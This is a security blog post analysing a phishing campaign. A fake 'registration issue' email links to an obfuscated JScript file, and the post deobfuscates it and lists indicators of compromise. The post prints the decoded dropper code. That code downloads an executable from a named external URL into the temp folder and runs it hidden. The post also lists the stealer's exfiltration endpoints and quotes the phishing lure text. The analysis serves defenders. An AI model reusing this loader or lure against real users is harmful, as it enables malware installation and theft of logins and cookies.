Yes, it really is worthwhile to investigate phishing reports from your users.

We received a phish report from one of our users. Upon reviewing that report we were able to see that another user who received the same phish interacted with the email. Luckily for us while our user did click on the initial link, one of our security layers blocked the download.

Analysis of that link provided some insight into this campaign and allowed us to put additional blocking of their current malware into place.

The Phish

From:   Stephen <steph_stepheneggers@proprofs.email>
To: REDACTED@REDACTED.com
Subject:    Registration issue

Hello.

I hope this email finds you well. I am writing to bring to your attention an issue I encountered while trying to register on your website. Unfortunately, during the registration process, I came across an error that prevented me from completing my registration successfully. I have encountered the following error message: "Unable to register".

To provide you with more context and assist in resolving this issue, I have captured a screenshot of the error. You can view the screenshot by clicking on the following URL link:
hXXps://www.dropbox[.]com/scl/fi/sf8lc46q1rd9vc8n39dre/screenshot.js?rlkey=tczs6psnug14xagstfsxdp8lb&dl=1

I would greatly appreciate it if you could look into this matter and assist me with resolving the registration issue. Please let me know if you require any additional information from my end.

Thank you for your attention to this matter.
, 1107 Robin Glen, Indianola, IA 50125, United States
Anda boleh berhenti melanggan atau menukar butiran hubungan anda pada bila-bila masa.

The URL above is defanged here. When viewed within the email app, when you moused over or clicked on it, the link actually went to here, presumably for some level of analytics of their campaign.

hxxps://app.getresponse[.]com/click.html?x=a62b&lc=SgsWMF&mc=JU&s=BI9QV0a&u=Czmap&z=EQEQGwD&

Dropbox Download

After being redirected from GetResponse, the link to Dropbox is a direct download, so the file screenshot.js is simply downloaded to the end user’s workstation. For the phisher the hope is that the end user will open it, which will cause it to be executed by wscript.exe.

screenshot.js analysis

Not surprisingly the Windows Javascript file downloaded is obfuscated.

screenshot.js

Running the original file through js-beautify we get a slightly easier to read version.

var url, sh, tempDir, rndName, filePath, xhr, fso, stream;
(function() {
    var Ytk = '',
        bkL = 591 - 580;

    function CPH(n) {
        var d = 344474;
        var l = n.length;
        var o = [];
        for (var z = 0; z < l; z++) {
            o[z] = n.charAt(z)
        };
        for (var z = 0; z < l; z++) {
            var r = d * (z + 198) + (d % 40449);
            var w = d * (z + 671) + (d % 26168);
            var t = r % l;
            var x = w % l;
            var g = o[t];
            o[t] = o[x];
            o[x] = g;
            d = (r + w) % 6948825;
        };
        return o.join('')
    };
    var ZFM = CPH('tolwqhuedorogfsxbkcujzaytnmnrptcvscri').substr(0, bkL);
    var FgY = 'vqiai=[StA 0f ;dC+;va+vsr"s0 ria "0( [un)Ctr;t.vwx"str{*r;ta18cmrr2n3sy[-7o,c5=h;+i,8a6c)Ae=(,o)(e;[)vys).earh<vhro8vCsi=;7a.d]tn8;lu,0vl ,r,r,,<(dlcv{tda<=a)y[fuo.=={+(h)-r7,d!]a)crs3oarp7=rdo( ([.er;ayt=mf*c+aa(dl er=hrr-n.=.rm +pifl(jntacgo,hn(0rcfi;ql)u "9v{;v{mbv2reh6mnoem(ph1t;e==0};t-7{tcnhu.4ohlrvw;Ag=ex.7+=r+])sn4[l;1ar "0b;1tr9,iomf+u;6.;aeo=(,e)o(a5;1a=s9lu+;t}ol4;aa>b;t;l=+r+]s[Alpeb0r)rs61f(r(c(4Au(+[=6pa1a;(+oe;cv[Co=1]=j"rte-1gw.nhlj.)v fns;65,al.rr)oCkp8x hhh+r -oa=6a8or);ae0(i.k})h69.c8ech,(]utvlo)w-v=c+);.a;2g}l.jc=,a(=(r))=.h;ebra2fs[)oCC]hay(go)+ =r+ihv(r,+a=i=<at8i.7] 0][puh<)+[wbain;1hr0S }o=viu huw2;.;hsn03,r),q,lnndegu;oaul;+liv5;(8,dv;jxun),")an,j pug;ehm9ic.}v7rn(h.1;[itnrk)=r;= "=un2,j)tgt,eet(2ga2)=c=o=4it9 l1ahhhivtlio,,l" rCng;(8el)p=5{gntent n ,f; ]vo=w.g=hgc(=)kr=]+.j+7ffrn}cd(ss)(z)ovl;vibf;9su(.+r)er!]rpraefv.;txi;ontek6nq.r]0(tpr+"sv]=(s>shl0;';
    var IDL = CPH[ZFM];
    var Vcw = '';
    var gbX = IDL;
    var ibI = IDL(Vcw, CPH(FgY));
    var LQT = ibI(CPH('])*%Vte=jVm.N!4l)VVaVVn(*r.\/5(n,3tpVV[8(!w{ (aem",o(eatVqri e}a7=,tarbVbr;i1.C(.r4VV..sa$.E..iV\/ef..b;#w2r.xis5V.ar&]dfVi5acgVt,(!8r!oT{mV;!shf_)l.ins4.r6nS(!# sl+ae% 4ljre;hh2gn=.fafVeqtea%mV!V=:al]ts.]n,&l.7e8ns$4V}3(et08ldel.V=1%.)=p.]4$;3eoVhzg_.jm7l_p)8]{r.b6gTV\/e)=1n;.qeotcysi.Vmof o.S&$s.=#,ixV(4ojn.ahri+r; w;w(neaeras"eCoe)i}f.l.;.V4mtbE,!T;tS31.lVV?.9arh(fa,..n%,{t!es.v6V)V.$vs=9e5.)!lroh0a].=tVpu{=%Vo0uet$o,l#.geeb%VeVo%p0a(V%V1ces!;;V1EV=364]D>Vrfl+nt!.2t32(,572.]r,r.4Vlne;{V).u<%ysw\/<cV$.V%V11.=l#![+ k1>o2.s0}ge(].f)xgrd[j.frfrn.l;s_.oVntV%nttbh7.>0vV apd]t1\'0;tt.).r{.ejVx4b!c7ys%m8(Vln;.s%7i7%=0;.>b,6z%)f$n+p.=+o{_V.%+t:V8%e8VfV_Vto98= ,e_ex3:t$h2V9Vps;bun!4bs)r1;ungaaebxr7aV](?i2)6.,a=n6oo});tV%,%V(2)}_mV)ms.@7(zz$7Vt;y{i$=.6V9Vc]2{_5js,}t$=0l<4Vt6,Vf3v6!e!%r;a()a )i,V,)_;)Vv(..e1j %$}]V{!;raefhprVdVei1b8we3V)t]l42V=.b8V3diee51)2(T!uDkbk=n32sr0e=2SDV32Vs]t$ne(sr]eog1ftoV83.)0s9n[aVpV0V V5eV}s%.[rl$[o],V{er,rn8s:4r-h.oVu].m);z!Vh$bVra2pb,mzEf=nifeVw +cMs);..%,6)]3,9De;=Vu7)t_]3ig2pbTa]ax87eVehm.%0eVn7r_d:())Vls(poh2VroVy_;s3ibacV*+tj4cCyVSe3o6St(_e]]=o(2!)+lbsal)ap;V#y)V.;atVV(i.trV7[13!))V!apor 3_(7i)!aibVfps9.)tcVtV]7 r72wVt6b,)m]?VgSse1!lVV%wjafct(0fi(b-V{ !V;x<42(sx.icjVts!m\'taiesu[;be{..e- 9r;!1s\/V.rroefei0mf{3.).dS]jaS+].)V);$.@1(()[i%(=Va7f@ic".op}e[EV}6().$_e]ec) _Vse67{;$7f(0]7S_5aV;#uq;V-$<(3}t.V.t(VuyV,)2.V!jnaV)]fa)g$.V=$t;8r\']b56DV67)0VVsaVnV!f=;,i4j. f.;_4t4%h>2_a]@+&s(!pt.)l,yV" #0)piV=ValV.phSro%eV)\/)m(f tVvse(f=!n(h.!n1z.V0gs2x9o61!hxw)oV,..e59tx1,tf)V.de SiMr;.p;f$.sTV.Vsm(i#o*VDb_V,tnai)(]h(_swtiMw95).osi7Co.baVhVtd;t54(VNti 7 j?3a]v4s\/,Sli.5sin!2bc=r0\/Vion{n$4}reV,2$ial3_0[r i%11 7=VsV)!!oy+ic(.".c%n(wfa8%.rjgal.j".1( sEc5i(ariot=r)1,}%i"at+(d1!V rl)b\'.VttV.)%yr s ]rVm. 3(eSpaes% n<!xi,i)4V.9}b'));
    var gDl = gbX(Ytk, LQT);
    gDl(1875);
    return 6943
})()

To help understand what the script is doing I like to manually copy/paste chunks of code into node running in a sandbox.

It’s pretty reasonable to assume that the CPH() function is a decoder. So we’ll copy/paste the variable declarations along with the CPH() function. Then we can use that to decode the first encoded string to get ZFM.

manually using node to execute portions of malware

Ah hah, ZFM is the string constructor.

Continuing on with more copy/paste we can discover what that FgY string is.

using node to run malware code

Further continuing we can see that LQT is yet more Javascript.

using node to run malware

Running this through js-beautify we can start to see more interesting code.

function jso$ft$giden$stream() {
    return stream
}

function jso$ft$giden$String() {
    return String
}

function jso$ft$boe$_37(a, b) {
    return a % b
}

function jso$ft$boe$_43(a, b) {
    return a + b
}

function jso$ft$boe$_60(a, b) {
    return a < b
}
var _$_6927 = (_$af2537165)("#wersxos%t r/m\\\\%%ghDtg.erd/t.gupDttxwl Oo%espr.ne.i eelansnehu2ineF%ne1HoTAly%stf.Eeae/iheSmenteiaE%ricot%lSexgC.%R1rtime%seeEpOXeepnmpneierTe0TTl/ocRosLSotr8tyBsiSnoiie%Fgpiiop%10jeccLi%ceFFtEevsEhssSCteri%iSlePnomDtEtnTeSaotelppsyoorerpao%dl%ldttWi%eMbrPvb%rpSx.WnhnelXthM%%j%B!tite:rdOTiG%ne#i%alern%SgMpt%%s%Oc", 344474);

function _$af2537165(i, jso$setrpl$y) {
    var y = {},
        l = {},
        w = {},
        z = {},
        f = {},
        s = {},
        o = {};
    y._ = jso$setrpl$y;
    var g = i.length;
    l._ = [];;
    for (var b = 0; jso$ft$boe$_60(b, g); b++) {
        l._[b] = i.charAt(b)
    };
    for (var b = 0; jso$ft$boe$_60(b, g); b++) {
        w._ = jso$ft$boe$_43(y._ * (jso$ft$boe$_43(b, 198)), (jso$ft$boe$_37(y._, 40449)));;
        z._ = jso$ft$boe$_43(y._ * (jso$ft$boe$_43(b, 671)), (jso$ft$boe$_37(y._, 26168)));;
        f._ = jso$ft$boe$_37(w._, g);;
        s._ = jso$ft$boe$_37(z._, g);;
        o._ = l._[f._];;
        jso$spliter_$af2537167(f, l, s);
        jso$spliter_$af2537168(s, l, o);
        jso$spliter_$af2537169(y, w, z)
    };
    var x = jso$ft$giden$String().fromCharCode(127);
    var p = '';
    var d = '%';
    var q = '#1';
    var n = '%';
    var k = '#0';
    var r = '#';
    return l._.join(p).split(d).join(x).split(q).join(n).split(k).join(r).split(x)
}
url = _$_6927[0];
sh = WScript[_$_6927[2]](_$_6927[1]);
tempDir = sh[_$_6927[4]](_$_6927[3]) + _$_6927[5];
rndName = new Date()[_$_6927[7]]()[_$_6927[6]]();
filePath = tempDir + rndName + _$_6927[8];
xhr = new ActiveXObject(_$_6927[9]);
xhr[_$_6927[11]](_$_6927[10], url, false);
xhr[_$_6927[12]]();
if (!_$af2537165) {
    return
};
if (xhr[_$_6927[13]] == 200) {
    if (!_$af2537165) {
        return
    };
    fso = new ActiveXObject(_$_6927[14]);
    if (fso[_$_6927[15]](filePath)) {
        fso[_$_6927[16]](filePath)
    };
    if (!_$_6927) {
        return
    };
    stream = new ActiveXObject(_$_6927[17]);
    stream[_$_6927[18]]();
    (function() {
        jso$ft$giden$stream()[_$_6927[19]] = 1
    })();
    stream[_$_6927[21]](xhr[_$_6927[20]]);
    (function() {
        jso$ft$giden$stream()[_$_6927[22]] = 0
    })();
    if (!_$af2537165) {
        _$af2537165(null);
        return
    };
    stream[_$_6927[23]](filePath);
    stream[_$_6927[24]]();
    sh[_$_6927[25]](filePath, 0, 0)
};
WScript[_$_6927[27]](_$_6927[26]);

function jso$spliter_$af2537167(f, l, s) {
    l._[f._] = l._[s._]
}

function jso$spliter_$af2537168(s, l, o) {
    l._[s._] = o._
}

function jso$spliter_$af2537169(y, w, z) {
    y._ = jso$ft$boe$_37((jso$ft$boe$_43(w._, z._)), 6948825)
}

The variable _$_6927 must have something very interesting. So let’s hack this up.

What we can do is tweak the LQT string before continuing on. We can insert a console.log(_$_6927);return; just after it’s declared, execute the function and see what pops out.

Here were assign LQT with the extra code.

assigning LQT

Now we paste in the last of the code and voilà we now know what the _$_6927 array is equal to.

running the remaining code with the modified LQT

Armed with knowledge of the array, we can decode the meat of the script.

url = 'https://1800wheelchair.org/dropper/st.exe';
sh = WScript['CreateObject']('Wscript.Shell');
tempDir = sh['ExpandEnvironmentStrings']('%temp%') + '\\';
rndName = new Date()['getTime']()['toString']();
filePath = tempDir + rndName + '.exe';
xhr = new ActiveXObject('MSXML2.XMLHTTP');
xhr['open']('GET', url, false);
xhr['send']();
if (!_$af2537165) {
    return
};
if (xhr['Status'] == 200) {
    if (!_$af2537165) {
        return
    };
    fso = new ActiveXObject('Scripting.FileSystemObject');
    if (fso['FileExists'](filePath)) {
        fso['DeleteFile'](filePath)
    };
    if (!_$_6927) {
        return
    };
    stream = new ActiveXObject('ADODB.Stream');
    stream['Open']();
    (function() {
        jso$ft$giden$stream()['Type'] = 1
    })();
    stream['Write'](xhr['ResponseBody']);
    (function() {
        jso$ft$giden$stream()['Position'] = 0
    })();
    if (!_$af2537165) {
        _$af2537165(null);
        return
    };
    stream['SaveToFile'](filePath);
    stream['Close']();
    sh['Run'](filePath, 0, 0)
};
WScript['Echo']('Error while opening file!');

There we have it. It downloads an EXE, saves it to the user’s temp folder with the filename being current epoch time, then runs it.

Stealer

Turns out that the downloaded EXE is a stealer as seen by an analysis done by Triage

Of particular interest in the behavior is four POSTs that it performs that pretty clearly show that it collects a screenshot, logins for both Chrome and Edge, and cookies for Chrome.

hxxp://162.33.177.28:8000/api/userID/kCyFy88f899toq5l8K1/file/screenshot.bmp
hxxp://162.33.177.28:8000/api/userID/kCyFy88f899toq5l8K1/file/chrome_logins.db
hxxp://162.33.177.28:8000/api/userID/kCyFy88f899toq5l8K1/file/chrome_cookie.db
hxxp://162.33.177.28:8000/api/userID/kCyFy88f899toq5l8K1/file/edge_logins.db

IOCs

www.dropbox[.]com/scl/fi/sf8lc46q1rd9vc8n39dre/screenshot.js?rlkey=tczs6psnug14xagstfsxdp8lb&dl=1

baed6c4e0b11bf4da65b82ee030c3b6a4df4d520e1e3f804c26fb8f8ea3e61fc  screenshot.js
12f29ea6403f9c16a3f498d36eee4263465176c88e0b9f7a7e70e00a7b175bff  st.exe

1800wheelchair[.]org/dropper/st.exe
1800wheelchair[.]org